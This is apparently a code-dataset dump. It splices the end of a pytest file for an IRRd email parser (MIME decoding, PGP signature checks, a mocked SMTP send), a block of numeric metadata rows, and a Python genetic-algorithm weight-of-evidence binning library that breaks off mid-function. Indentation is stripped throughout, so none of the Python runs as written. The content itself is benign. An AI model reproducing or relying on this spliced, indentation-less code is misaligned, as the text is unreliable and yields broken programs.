--Apple-Mail=_01FE5B2D-C7F3-4DDD-AB42-B92C88CFBF0F--
""").strip()
parser = EmailParser(email)
assert parser.body.strip() == 'test 1 2 3'
assert parser.pgp_fingerprint is None
def test_parse_valid_multipart_quoted_printable_with_charset(self):
email = textwrap.dedent("""
From sasha@localhost Thu Jan 5 10:04:48 2018
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
by hostname (Postfix) with ESMTPS id 740AD310597
for <sasha@localhost>; Thu, 5 Jan 2018 10:04:48 +0100 (CET)
Message-ID: <1325754288.4989.6.camel@hostname>
Subject: my subject
From: Sasha <sasha@example.com>
To: sasha@localhost
Date: Thu, 05 Jan 2018 10:04:48 +0100
Content-Type: multipart/alternative;
boundary="Apple-Mail=_01FE5B2D-C7F3-4DDD-AB42-B92C88CFBF0F"
Mime-Version: 1.0 (Mac OS X Mail 10.3
To: sasha@localhost
X-Mailer: Apple Mail (2.3273)
--Apple-Mail=_01FE5B2D-C7F3-4DDD-AB42-B92C88CFBF0F
Content-Type: text/plain;
charset="utf-8"
Content-Transfer-Encoding: quoted-printable
se font =
vite p=C3=A9dagogues
--Apple-Mail=_01FE5B2D-C7F3-4DDD-AB42-B92C88CFBF0F
Content-Transfer-Encoding: 7bit
Content-Type: text/html;
charset=us-ascii
<html><head><meta http-equiv="Content-Type" content="text/html charset=us-ascii"></head><body style="word-wrap: break-word; -webkit-nbsp-mode: space; -webkit-line-break: after-white-space;" class=""><b class="">test 1 2 3</b><div class=""><br class=""></div></body></html>
--Apple-Mail=_01FE5B2D-C7F3-4DDD-AB42-B92C88CFBF0F--
""").strip()
parser = EmailParser(email)
assert parser.body.strip() == 'se font vite pédagogues'
assert parser.pgp_fingerprint is None
def test_parse_valid_multipart_quoted_printable_without_charset(self):
# latin-1 will be assumed
email = textwrap.dedent("""
From sasha@localhost Thu Jan 5 10:04:48 2018
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
by hostname (Postfix) with ESMTPS id 740AD310597
for <sasha@localhost>; Thu, 5 Jan 2018 10:04:48 +0100 (CET)
Message-ID: <1325754288.4989.6.camel@hostname>
Subject: my subject
From: Sasha <sasha@example.com>
To: sasha@localhost
Date: Thu, 05 Jan 2018 10:04:48 +0100
Content-Type: multipart/alternative;
boundary="Apple-Mail=_01FE5B2D-C7F3-4DDD-AB42-B92C88CFBF0F"
Mime-Version: 1.0 (Mac OS X Mail 10.3
To: sasha@localhost
X-Mailer: Apple Mail (2.3273)
--Apple-Mail=_01FE5B2D-C7F3-4DDD-AB42-B92C88CFBF0F
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
se=20font =
vite p=C3=A9dag=
ogues
--Apple-Mail=_01FE5B2D-C7F3-4DDD-AB42-B92C88CFBF0F
Content-Transfer-Encoding: 7bit
Content-Type: text/html;
charset=us-ascii
<html><head><meta http-equiv='Content-Type' content='text/html charset=us-ascii'></head><body style='word-wrap: break-word; -webkit-nbsp-mode: space; -webkit-line-break: after-white-space;' class=""><b class="">test 1 2 3</b><div class=""><br class=""></div></body></html>
--Apple-Mail=_01FE5B2D-C7F3-4DDD-AB42-B92C88CFBF0F--
""").strip()
parser = EmailParser(email)
assert parser.body.strip() == 'se font vite pdagogues'
assert parser.pgp_fingerprint is None
@pytest.mark.usefixtures('tmp_gpg_dir')
def test_parse_valid_multipart_signed_ascii(self, tmp_gpg_dir, preload_gpg_key):
email = textwrap.dedent("""
From sasha@localhost Thu Jan 5 10:04:48 2018
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
by hostname (Postfix) with ESMTPS id 740AD310597
for <sasha@localhost>; Thu, 5 Jan 2018 10:04:48 +0100 (CET)
Message-ID: <1325754288.4989.6.camel@hostname>
Subject: my subject
From: Sasha <sasha@example.com>
To: sasha@localhost
Date: Thu, 05 Jan 2018 10:04:48 +0100
Content-Type: multipart/signed;
boundary="Apple-Mail=_368A6867-FE85-4AFB-AACA-CDBA53C7DB25"
Mime-Version: 1.0 (Mac OS X Mail 10.3
To: sasha@localhost
X-Mailer: Apple Mail (2.3273)
--Apple-Mail=_368A6867-FE85-4AFB-AACA-CDBA53C7DB25
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
\tcharset=us-ascii
test 1 2 3
--Apple-Mail=_368A6867-FE85-4AFB-AACA-CDBA53C7DB25
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename=signature.asc
Content-Type: application/pgp-signature;
name=signature.asc
Content-Description: Message signed with OpenPGP
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEhiYdjb69pPVGktZNqDg7p4DyOMYFAlthsw0ACgkQqDg7p4Dy
OMbLdBAAnJ93CZYz6VNhHiSFhj2EtU6yG70chyAiCfrZXsXGWQXNBbkQBCpk3Cy0
HD2cIBxh1612bDkct8ezWaS4uOEvp5gyEJg0/VrAMCvWIEXEFizE75kOgj3ay+hs
Dj4C7TRlRvQdRbaNdCb3R27WMK9GPwDJgqjifZQu13pWkkAxQLpZBs+wbnWvh01X
QWQdf7xr3PQUkm+uVE2fU7j+c1vQs5oJLMdvSuzSN59IvLiEmRFrkQF7yj3WCesh
dTxAYl5TA8IhldXsc2/MYL24fNKk2L9Ns3Cr0x9XHYBk+w/iGQuCvTkTiOzeoxab
puk83Xr+WDgVo6w6KT7n5ZFg7XRH/WV0hhdy6i+wuyXnwdTP5JQbJn66xZV4iYZh
QAHrNeb/kRMcw7l6I3eL94W7ndfCZK7/XhHqYB4m88Jnbaklxih2gjJGWu50eQc7
EXt0dl6BQeKlMtLWfgtBY4RzEglr1u99DSEqotJTlpSqUQ79rYwzKNvjI1Xc7yJc
lLNwRJTtoWd8sUc0njlemxtVELNHUj0ahpQgMTqw1WbJu+FJxaTcRdbu6fYwl7hc
k1Bt6Qyyn4qWD19aV6yClqyhJwZB2uoSKHvBmPIu31nHRYNr9SWD75dht8YODsmF
QxtFWD7kfutDc40U0GjukbcPsfni1BH9AZZbUsm6YS7JMxoh1Rk=
=92HM
-----END PGP SIGNATURE-----
""").strip()
parser = EmailParser(email)
assert parser.body.strip() == 'test 1 2 3'
assert parser._pgp_signature == textwrap.dedent("""
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEhiYdjb69pPVGktZNqDg7p4DyOMYFAlthsw0ACgkQqDg7p4Dy
OMbLdBAAnJ93CZYz6VNhHiSFhj2EtU6yG70chyAiCfrZXsXGWQXNBbkQBCpk3Cy0
HD2cIBxh1612bDkct8ezWaS4uOEvp5gyEJg0/VrAMCvWIEXEFizE75kOgj3ay+hs
Dj4C7TRlRvQdRbaNdCb3R27WMK9GPwDJgqjifZQu13pWkkAxQLpZBs+wbnWvh01X
QWQdf7xr3PQUkm+uVE2fU7j+c1vQs5oJLMdvSuzSN59IvLiEmRFrkQF7yj3WCesh
dTxAYl5TA8IhldXsc2/MYL24fNKk2L9Ns3Cr0x9XHYBk+w/iGQuCvTkTiOzeoxab
puk83Xr+WDgVo6w6KT7n5ZFg7XRH/WV0hhdy6i+wuyXnwdTP5JQbJn66xZV4iYZh
QAHrNeb/kRMcw7l6I3eL94W7ndfCZK7/XhHqYB4m88Jnbaklxih2gjJGWu50eQc7
EXt0dl6BQeKlMtLWfgtBY4RzEglr1u99DSEqotJTlpSqUQ79rYwzKNvjI1Xc7yJc
lLNwRJTtoWd8sUc0njlemxtVELNHUj0ahpQgMTqw1WbJu+FJxaTcRdbu6fYwl7hc
k1Bt6Qyyn4qWD19aV6yClqyhJwZB2uoSKHvBmPIu31nHRYNr9SWD75dht8YODsmF
QxtFWD7kfutDc40U0GjukbcPsfni1BH9AZZbUsm6YS7JMxoh1Rk=
=92HM
-----END PGP SIGNATURE-----""").strip()
assert parser.pgp_fingerprint == '86261D8DBEBDA4F54692D64DA8383BA780F238C6'
@pytest.mark.usefixtures('tmp_gpg_dir')
def test_parse_invalid_multipart_signed_ascii_with_additional_text_part(self, tmp_gpg_dir, preload_gpg_key):
email = textwrap.dedent("""
From sasha@localhost Thu Jan 5 10:04:48 2018
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
by hostname (Postfix) with ESMTPS id 740AD310597
for <sasha@localhost>; Thu, 5 Jan 2018 10:04:48 +0100 (CET)
Message-ID: <1325754288.4989.6.camel@hostname>
Subject: my subject
From: Sasha <sasha@example.com>
To: sasha@localhost
Date: Thu, 05 Jan 2018 10:04:48 +0100
Content-Type: multipart/signed;
boundary="Apple-Mail=_368A6867-FE85-4AFB-AACA-CDBA53C7DB25"
Mime-Version: 1.0 (Mac OS X Mail 10.3
To: sasha@localhost
X-Mailer: Apple Mail (2.3273)
--Apple-Mail=_368A6867-FE85-4AFB-AACA-CDBA53C7DB25
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
\tcharset=us-ascii
test 1 2 3
--Apple-Mail=_368A6867-FE85-4AFB-AACA-CDBA53C7DB25
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename=signature.asc
Content-Type: application/pgp-signature;
name=signature.asc
Content-Description: Message signed with OpenPGP
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEhiYdjb69pPVGktZNqDg7p4DyOMYFAlthsw0ACgkQqDg7p4Dy
OMbLdBAAnJ93CZYz6VNhHiSFhj2EtU6yG70chyAiCfrZXsXGWQXNBbkQBCpk3Cy0
HD2cIBxh1612bDkct8ezWaS4uOEvp5gyEJg0/VrAMCvWIEXEFizE75kOgj3ay+hs
Dj4C7TRlRvQdRbaNdCb3R27WMK9GPwDJgqjifZQu13pWkkAxQLpZBs+wbnWvh01X
QWQdf7xr3PQUkm+uVE2fU7j+c1vQs5oJLMdvSuzSN59IvLiEmRFrkQF7yj3WCesh
dTxAYl5TA8IhldXsc2/MYL24fNKk2L9Ns3Cr0x9XHYBk+w/iGQuCvTkTiOzeoxab
puk83Xr+WDgVo6w6KT7n5ZFg7XRH/WV0hhdy6i+wuyXnwdTP5JQbJn66xZV4iYZh
QAHrNeb/kRMcw7l6I3eL94W7ndfCZK7/XhHqYB4m88Jnbaklxih2gjJGWu50eQc7
EXt0dl6BQeKlMtLWfgtBY4RzEglr1u99DSEqotJTlpSqUQ79rYwzKNvjI1Xc7yJc
lLNwRJTtoWd8sUc0njlemxtVELNHUj0ahpQgMTqw1WbJu+FJxaTcRdbu6fYwl7hc
k1Bt6Qyyn4qWD19aV6yClqyhJwZB2uoSKHvBmPIu31nHRYNr9SWD75dht8YODsmF
QxtFWD7kfutDc40U0GjukbcPsfni1BH9AZZbUsm6YS7JMxoh1Rk=
=92HM
-----END PGP SIGNATURE-----
--Apple-Mail=_368A6867-FE85-4AFB-AACA-CDBA53C7DB25
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
\tcharset=us-ascii
additional text/plain part - not signed
""").strip()
parser = EmailParser(email)
assert parser.body.strip() == 'additional text/plain part - not signed'
assert parser.pgp_fingerprint is None
@pytest.mark.usefixtures('tmp_gpg_dir')
def test_parse_valid_inline_signed_ascii(self, tmp_gpg_dir, preload_gpg_key):
email = textwrap.dedent("""
From sasha@localhost Thu Jan 5 10:04:48 2018
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
by hostname (Postfix) with ESMTPS id 740AD310597
for <sasha@localhost>; Thu, 5 Jan 2018 10:04:48 +0100 (CET)
Message-ID: <1325754288.4989.6.camel@hostname>
Subject: my subject
From: Sasha <sasha@example.com>
To: sasha@localhost
Date: Thu, 05 Jan 2018 10:04:48 +0100
Content-Type: text/plain
Mime-Version: 1.0 (Mac OS X Mail 10.3
To: sasha@localhost
X-Mailer: Apple Mail (2.3273)
UNSIGNED TEXT TO BE IGNORED
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
test 1 2 3
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEhiYdjb69pPVGktZNqDg7p4DyOMYFAltix/QACgkQqDg7p4Dy
OMYTzA//buAOavyy5mShsCu8jlAyA9Y9PZWp4fc9I2Gnef/ESwmagr10KIBJpz3M
qO85Oxml3kJDKXUUS5NLxUiVQnznErETbPYx04S3NLP8yRvFUV31x5D7WPwy7g0V
1WDr4eDBB+Nk9ib7fBGhKosjODzPt/58xTCgcD25rPYF8ie3VzIv0KzgSQNC3jqE
e4+eCS/IpPxoVEqfR7Dxt9j6Z7+ERcNkNYexX14IdOL+eldXlOgZgAjhDyY1FGoX
yZUBK1ZBXfyNY33dSMsM/LRN3TnnLeqQu4VlsgaE3syqgiHw3fLjnldAVFRaDV9g
BTFg/3LQ+QwjzKcKi+f2pjr/FbsqnSBZZH31M6Pmdwvz9roZJB59Hhjgr+kxpfop
bgZ95P4z2i7XuCOJmI5LNOaqlZmt3RebLd2QIAfKONi2GfwLl4ibk6VlCdMIQoJS
paQ7V2Dq9r6Pure2wn+xIPOuySQ+zVf7emY9GFxFim87Eu2aaV4E/S52EpOFqWCU
TgTCi98X5RJyBdvii7XBl+VcM041hww221nw2WvRECaImgwx1eNx2UjXpsLN5VrT
oxZBbe2zPrzKJSG3WmBRi8bekarDrCPSd1uWXRoCqUmIPLTTID52ikkPKEBTeNyv
4Ni0aIkkZY3cM0QR9EEHSCJgS2RVQujw/KZTeTQTLAJLtGtLbq8=
=Zn24
-----END PGP SIGNATURE-----
""").strip()
parser = EmailParser(email)
assert parser.body.strip() == 'test 1 2 3'
assert parser.pgp_fingerprint == '86261D8DBEBDA4F54692D64DA8383BA780F238C6'
@pytest.mark.usefixtures('tmp_gpg_dir')
def test_parse_invalid_inline_signed_ascii_multiple_messages(self, tmp_gpg_dir, preload_gpg_key):
email = textwrap.dedent("""
From sasha@localhost Thu Jan 5 10:04:48 2018
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
by hostname (Postfix) with ESMTPS id 740AD310597
for <sasha@localhost>; Thu, 5 Jan 2018 10:04:48 +0100 (CET)
Message-ID: <1325754288.4989.6.camel@hostname>
Subject: my subject
From: Sasha <sasha@example.com>
To: sasha@localhost
Date: Thu, 05 Jan 2018 10:04:48 +0100
Content-Type: text/plain
Mime-Version: 1.0 (Mac OS X Mail 10.3
To: sasha@localhost
X-Mailer: Apple Mail (2.3273)
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
test 1 2 3
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEhiYdjb69pPVGktZNqDg7p4DyOMYFAltix/QACgkQqDg7p4Dy
OMYTzA//buAOavyy5mShsCu8jlAyA9Y9PZWp4fc9I2Gnef/ESwmagr10KIBJpz3M
qO85Oxml3kJDKXUUS5NLxUiVQnznErETbPYx04S3NLP8yRvFUV31x5D7WPwy7g0V
1WDr4eDBB+Nk9ib7fBGhKosjODzPt/58xTCgcD25rPYF8ie3VzIv0KzgSQNC3jqE
e4+eCS/IpPxoVEqfR7Dxt9j6Z7+ERcNkNYexX14IdOL+eldXlOgZgAjhDyY1FGoX
yZUBK1ZBXfyNY33dSMsM/LRN3TnnLeqQu4VlsgaE3syqgiHw3fLjnldAVFRaDV9g
BTFg/3LQ+QwjzKcKi+f2pjr/FbsqnSBZZH31M6Pmdwvz9roZJB59Hhjgr+kxpfop
bgZ95P4z2i7XuCOJmI5LNOaqlZmt3RebLd2QIAfKONi2GfwLl4ibk6VlCdMIQoJS
paQ7V2Dq9r6Pure2wn+xIPOuySQ+zVf7emY9GFxFim87Eu2aaV4E/S52EpOFqWCU
TgTCi98X5RJyBdvii7XBl+VcM041hww221nw2WvRECaImgwx1eNx2UjXpsLN5VrT
oxZBbe2zPrzKJSG3WmBRi8bekarDrCPSd1uWXRoCqUmIPLTTID52ikkPKEBTeNyv
4Ni0aIkkZY3cM0QR9EEHSCJgS2RVQujw/KZTeTQTLAJLtGtLbq8=
=Zn24
-----END PGP SIGNATURE-----
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
INVALID
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEhiYdjb69pPVGktZNqDg7p4DyOMYFAltix/QACgkQqDg7p4Dy
OMYTzA//buAOavyy5mShsCu8jlAyA9Y9PZWp4fc9I2Gnef/ESwmagr10KIBJpz3M
qO85Oxml3kJDKXUUS5NLxUiVQnznErETbPYx04S3NLP8yRvFUV31x5D7WPwy7g0V
1WDr4eDBB+Nk9ib7fBGhKosjODzPt/58xTCgcD25rPYF8ie3VzIv0KzgSQNC3jqE
e4+eCS/IpPxoVEqfR7Dxt9j6Z7+ERcNkNYexX14IdOL+eldXlOgZgAjhDyY1FGoX
yZUBK1ZBXfyNY33dSMsM/LRN3TnnLeqQu4VlsgaE3syqgiHw3fLjnldAVFRaDV9g
BTFg/3LQ+QwjzKcKi+f2pjr/FbsqnSBZZH31M6Pmdwvz9roZJB59Hhjgr+kxpfop
bgZ95P4z2i7XuCOJmI5LNOaqlZmt3RebLd2QIAfKONi2GfwLl4ibk6VlCdMIQoJS
paQ7V2Dq9r6Pure2wn+xIPOuySQ+zVf7emY9GFxFim87Eu2aaV4E/S52EpOFqWCU
TgTCi98X5RJyBdvii7XBl+VcM041hww221nw2WvRECaImgwx1eNx2UjXpsLN5VrT
oxZBbe2zPrzKJSG3WmBRi8bekarDrCPSd1uWXRoCqUmIPLTTID52ikkPKEBTeNyv
4Ni0aIkkZY3cM0QR9EEHSCJgS2RVQujw/KZTeTQTLAJLtGtLbq8=
=Zn24
-----END PGP SIGNATURE-----
""").strip()
parser = EmailParser(email)
assert parser.pgp_fingerprint is None
@pytest.mark.usefixtures('tmp_gpg_dir')
def test_parse_valid_multipart_signed_unicode(self, tmp_gpg_dir, preload_gpg_key):
email = textwrap.dedent("""
From sasha@localhost Thu Jan 5 10:04:48 2018
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
by hostname (Postfix) with ESMTPS id 740AD310597
for <sasha@localhost>; Thu, 5 Jan 2018 10:04:48 +0100 (CET)
Message-ID: <1325754288.4989.6.camel@hostname>
Subject: my subject
From: Sasha <sasha@example.com>
To: sasha@localhost
Date: Thu, 05 Jan 2018 10:04:48 +0100
Content-Type: multipart/signed;
boundary="Apple-Mail=_18B291D9-548C-4458-8F17-B76537227FDF"
Mime-Version: 1.0 (Mac OS X Mail 10.3
To: sasha@localhost
X-Mailer: Apple Mail (2.3273)
--Apple-Mail=_18B291D9-548C-4458-8F17-B76537227FDF
Content-Transfer-Encoding: base64
Content-Type: text/plain;
\tcharset=utf-8
dGVzdCDwn5KpIMOpIMOmDQo=
--Apple-Mail=_18B291D9-548C-4458-8F17-B76537227FDF
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename=signature.asc
Content-Type: application/pgp-signature;
name=signature.asc
Content-Description: Message signed with OpenPGP
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEhiYdjb69pPVGktZNqDg7p4DyOMYFAlthw8cACgkQqDg7p4Dy
OMZxpg//WFoLn70I4/VqAp0iTkqqxR9jQZ+7T6bvcGGnrHLdfmlplPjkkZ13dg9j
LMyjxFJobm+TjqCyvHj8v2TpneGQv8tl8vOS2lBDnr99N0QROkf8MZdoQwfFPur4
AuE5NpXQHjOuRzN7/a/CsGuh5yzg/srHRgBFlEGzpmlHJ/YpaNXaFPIkZY988ObJ
+teJvhpN6qhXG2Nod8uDawOoZjmkUkyNWyNeEv0JgzvEuum1HSdY+hjJnmAZB1o8
m5cRULei5JnsENEehC8otfyvp3hhlMrCF37jHCOtd7IZ0fbG/43PuJyEvjxqKP3W
3DrtQi4Pqf2wvtBsjVoCrl7rD0VBVhkDWg80+RymeQneQlDP1Y9aF64nHBnv7nVm
gZ2vI6oJgK3DcatvRnmt9ZbrUoPFcKpqfSLe3Gtswn6t6uaZbBWpkVB+4Pputocg
FKkwjXZlEIFNROug7NIApZmmYatBM0DLmc3kZEkvp8VUG20+0/62WQ7lDw4/02Nk
bOyKoVDa7K3DHydgQG3ntrqfMwlVEW+Wmw7G8qodH4fzhWJYXYGYbrTdVvTFUGs4
zM+omk0t4azQf7UeJjMcf4anfn7qAHOJ1j13VIFF9EEmVOOe7CIUEHmwuvfml6B6
rvBy4+gNANbnAJ61u8QZG5qVGT9YF/nlUIuoivm0TENdlwOv4Gw=
=KDl+
-----END PGP SIGNATURE-----
--Apple-Mail=_18B291D9-548C-4458-8F17-B76537227FDF--
""").strip()
parser = EmailParser(email)
assert parser.body.strip() == 'test 💩 é æ'
assert parser.pgp_fingerprint == '86261D8DBEBDA4F54692D64DA8383BA780F238C6'
@pytest.mark.usefixtures('tmp_gpg_dir')
def test_parse_invalid_signature_multipart_signed_ascii_bad_signature(self, tmp_gpg_dir, preload_gpg_key):
email = textwrap.dedent("""
From sasha@localhost Thu Jan 5 10:04:48 2018
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
by hostname (Postfix) with ESMTPS id 740AD310597
for <sasha@localhost>; Thu, 5 Jan 2018 10:04:48 +0100 (CET)
Message-ID: <1325754288.4989.6.camel@hostname>
Subject: my subject
From: Sasha <sasha@example.com>
To: sasha@localhost
Date: Thu, 05 Jan 2018 10:04:48 +0100
Content-Type: multipart/signed;
boundary="Apple-Mail=_368A6867-FE85-4AFB-AACA-CDBA53C7DB25"
Mime-Version: 1.0 (Mac OS X Mail 10.3
To: sasha@localhost
X-Mailer: Apple Mail (2.3273)
--Apple-Mail=_368A6867-FE85-4AFB-AACA-CDBA53C7DB25
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
\tcharset=us-ascii
test 1 2 INVALID
--Apple-Mail=_368A6867-FE85-4AFB-AACA-CDBA53C7DB25
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename=signature.asc
Content-Type: application/pgp-signature;
name=signature.asc
Content-Description: Message signed with OpenPGP
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEhiYdjb69pPVGktZNqDg7p4DyOMYFAlthsw0ACgkQqDg7p4Dy
OMbLdBAAnJ93CZYz6VNhHiSFhj2EtU6yG70chyAiCfrZXsXGWQXNBbkQBCpk3Cy0
HD2cIBxh1612bDkct8ezWaS4uOEvp5gyEJg0/VrAMCvWIEXEFizE75kOgj3ay+hs
Dj4C7TRlRvQdRbaNdCb3R27WMK9GPwDJgqjifZQu13pWkkAxQLpZBs+wbnWvh01X
QWQdf7xr3PQUkm+uVE2fU7j+c1vQs5oJLMdvSuzSN59IvLiEmRFrkQF7yj3WCesh
dTxAYl5TA8IhldXsc2/MYL24fNKk2L9Ns3Cr0x9XHYBk+w/iGQuCvTkTiOzeoxab
puk83Xr+WDgVo6w6KT7n5ZFg7XRH/WV0hhdy6i+wuyXnwdTP5JQbJn66xZV4iYZh
QAHrNeb/kRMcw7l6I3eL94W7ndfCZK7/XhHqYB4m88Jnbaklxih2gjJGWu50eQc7
EXt0dl6BQeKlMtLWfgtBY4RzEglr1u99DSEqotJTlpSqUQ79rYwzKNvjI1Xc7yJc
lLNwRJTtoWd8sUc0njlemxtVELNHUj0ahpQgMTqw1WbJu+FJxaTcRdbu6fYwl7hc
k1Bt6Qyyn4qWD19aV6yClqyhJwZB2uoSKHvBmPIu31nHRYNr9SWD75dht8YODsmF
QxtFWD7kfutDc40U0GjukbcPsfni1BH9AZZbUsm6YS7JMxoh1Rk=
=92HM
-----END PGP SIGNATURE-----
""").strip()
parser = EmailParser(email)
assert parser.body.strip() == 'test 1 2 INVALID'
assert parser.pgp_fingerprint is None
def test_invalid_blank_body(self):
email = textwrap.dedent("""
From sasha@localhost Thu Jan 5 10:04:48 2018
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
by hostname (Postfix) with ESMTPS id 740AD310597
for <sasha@localhost>; Thu, 5 Jan 2018 10:04:48 +0100 (CET)
Message-ID: <1325754288.4989.6.camel@hostname>
Subject: my subject
From: Sasha <sasha@example.com>
To: sasha@localhost
Date: Thu, 05 Jan 2018 10:04:48 +0100
Content-Type: multipart/signed;
boundary="Apple-Mail=_368A6867-FE85-4AFB-AACA-CDBA53C7DB25"
Mime-Version: 1.0 (Mac OS X Mail 10.3
To: sasha@localhost
X-Mailer: Apple Mail (2.3273)
""").strip()
parser = EmailParser(email)
assert not parser.body.strip()
assert parser.pgp_fingerprint is None
class TestSendEmail:
def test_send_email(self, monkeypatch):
mock_smtp = Mock()
monkeypatch.setattr('irrd.utils.email.SMTP', lambda server: mock_smtp)
send_email('Sasha <sasha@example.com>', 'subject', 'body')
assert mock_smtp.mock_calls[0][0] == 'send_message'
assert mock_smtp.mock_calls[0][1][0]['From'] == get_setting('email.from')
assert mock_smtp.mock_calls[0][1][0]['To'] == 'Sasha <sasha@example.com>'
assert mock_smtp.mock_calls[0][1][0]['Subject'] == 'subject'
payload = mock_smtp.mock_calls[0][1][0].get_payload()
assert 'body' in payload
assert 'IRRd version' in payload
assert get_setting('email.footer') in payload
assert mock_smtp.mock_calls[1][0] == 'quit'
| 44.957821
| 280
| 0.685079
| 2,637
| 25,581
| 6.578309
| 0.12135
| 0.037125
| 0.012798
| 0.015853
| 0.892546
| 0.881997
| 0.86868
| 0.859976
| 0.849369
| 0.844872
| 0
| 0.132958
| 0.223213
| 25,581
| 568
| 281
| 45.036972
| 0.739973
| 0.01204
| 0
| 0.846311
| 0
| 0.055328
| 0.834323
| 0.368123
| 0
| 0
| 0
| 0
| 0.07377
| 1
| 0.026639
| false
| 0
| 0.010246
| 0
| 0.040984
| 0.032787
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
92f80008ac553c0efd17a4b782dd2c8364490d1a
| 11,032
|
py
|
Python
|
GA_bin_lib.py
|
nvejkan/GAbin
|
a12fc9835fb95378f1546190115abce8c769ed44
|
[
"MIT"
] | null | null | null |
GA_bin_lib.py
|
nvejkan/GAbin
|
a12fc9835fb95378f1546190115abce8c769ed44
|
[
"MIT"
] | null | null | null |
GA_bin_lib.py
|
nvejkan/GAbin
|
a12fc9835fb95378f1546190115abce8c769ed44
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Created on Wed Apr 10 14:25:23 2019
@author: Asus
"""
import numpy as np
#load data
import pandas as pd
import matplotlib.pyplot as plt
def rand_max20(len_x):
len_x = len_x - 1 # n unique values, n-1 cutpoints
if len_x > 20:
a = np.random.randint(low=0,high=2, size=20) # max 1 is 20
b = np.zeros(len_x - 20) # 118 - 20 are all 0
c = np.hstack([a,b])
np.random.shuffle(c) #shuffle
else:
c = np.random.randint(low=0,high=2, size=len_x)
return c
dist_g_fn = lambda x,G_total: 1.0*(x.sum()+0.5) / G_total
dist_b_fn = lambda x,B_total: 1.0*(x.sum()+0.5) / B_total
n_fn = lambda x: x.sum()
def save_woe(individual,X,G,B,N,G_total,B_total,N_total,x_colname,p_cost_fn_name,folder_name='woe_pic'):
cutpoints = np.where(individual == 1)[0] + 1
G_splits = np.split(G, cutpoints)
G_splits = [i for i in G_splits if i.size > 0] #remove empty
B_splits = np.split(B, cutpoints)
B_splits = [i for i in B_splits if i.size > 0] #remove empty
N_splits = np.split(N, cutpoints)
N_splits = [i for i in N_splits if i.size > 0] #remove empty
X_splits = np.split(X, cutpoints)
X_splits = [i.astype(np.float) for i in X_splits if i.size > 0] #remove empty
x_range = [ "{0}-{1}".format(arr.min(),arr.max()) for arr in X_splits]
x_min = [ arr.min() for arr in X_splits]
x_max = [ arr.max() for arr in X_splits]
dist_G = np.array([dist_g_fn(i,G_total) for i in G_splits])
dist_B = np.array([dist_b_fn(i,B_total) for i in B_splits])
woe = np.log(dist_G/dist_B)
iv = (1.0*(dist_G - dist_B)*np.log(dist_G/dist_B))
n = np.array(list(map(n_fn,N_splits)))
n_perc = (n/N_total).round(2)
n_good = np.array(list(map(n_fn,G_splits)))
n_bad = np.array(list(map(n_fn,B_splits)))
r = 'darkred'
g = 'darkgreen'
sel_iv_tab = pd.DataFrame({"RANGE":x_range
,"X_MIN":x_min
,"X_MAX":x_max
,"N":n
,"%N":n_perc
,"#GOOD":n_good
,"#BAD":n_bad
, "WOE":woe
, "IV":iv})
ax = sel_iv_tab.plot(kind='bar',x='RANGE',y='WOE',ylim = (-2.5,2.5), width=0.9
, color=sel_iv_tab["WOE"].apply(lambda x: g if x>0 else r))
ax.set_xlabel("Ranges")
ax.set_ylabel("WoE")
plt.tight_layout()
# #plt.savefig(x_colname+p_cost_fn_name+'.png', transparent=True)
plt.savefig('./{0}/'.format(folder_name)+x_colname+p_cost_fn_name+'.png')
plt.clf()
#print("IV",iv.sum())
return sel_iv_tab
def display_woe(individual,X,G,B,N,G_total,B_total,N_total,x_colname,p_cost_fn_name):
cutpoints = np.where(individual == 1)[0] + 1
G_splits = np.split(G, cutpoints)
G_splits = [i for i in G_splits if i.size > 0] #remove empty
B_splits = np.split(B, cutpoints)
B_splits = [i for i in B_splits if i.size > 0] #remove empty
N_splits = np.split(N, cutpoints)
N_splits = [i for i in N_splits if i.size > 0] #remove empty
X_splits = np.split(X, cutpoints)
X_splits = [i for i in X_splits if i.size > 0] #remove empty
x_range = [ "{0}-{1}".format(arr.min(),arr.max()) for arr in X_splits]
x_min = [ arr.min() for arr in X_splits]
x_max = [ arr.max() for arr in X_splits]
#dist_G = np.array(list(map(dist_g_fn,G_splits)))
dist_G = np.array([dist_g_fn(i,G_total) for i in G_splits])
#dist_B = np.array(list(map(dist_b_fn,B_splits)))
dist_B = np.array([dist_b_fn(i,B_total) for i in B_splits])
woe = np.log(dist_G/dist_B)
iv = (1.0*(dist_G - dist_B)*np.log(dist_G/dist_B))
n = np.array(list(map(n_fn,N_splits)))
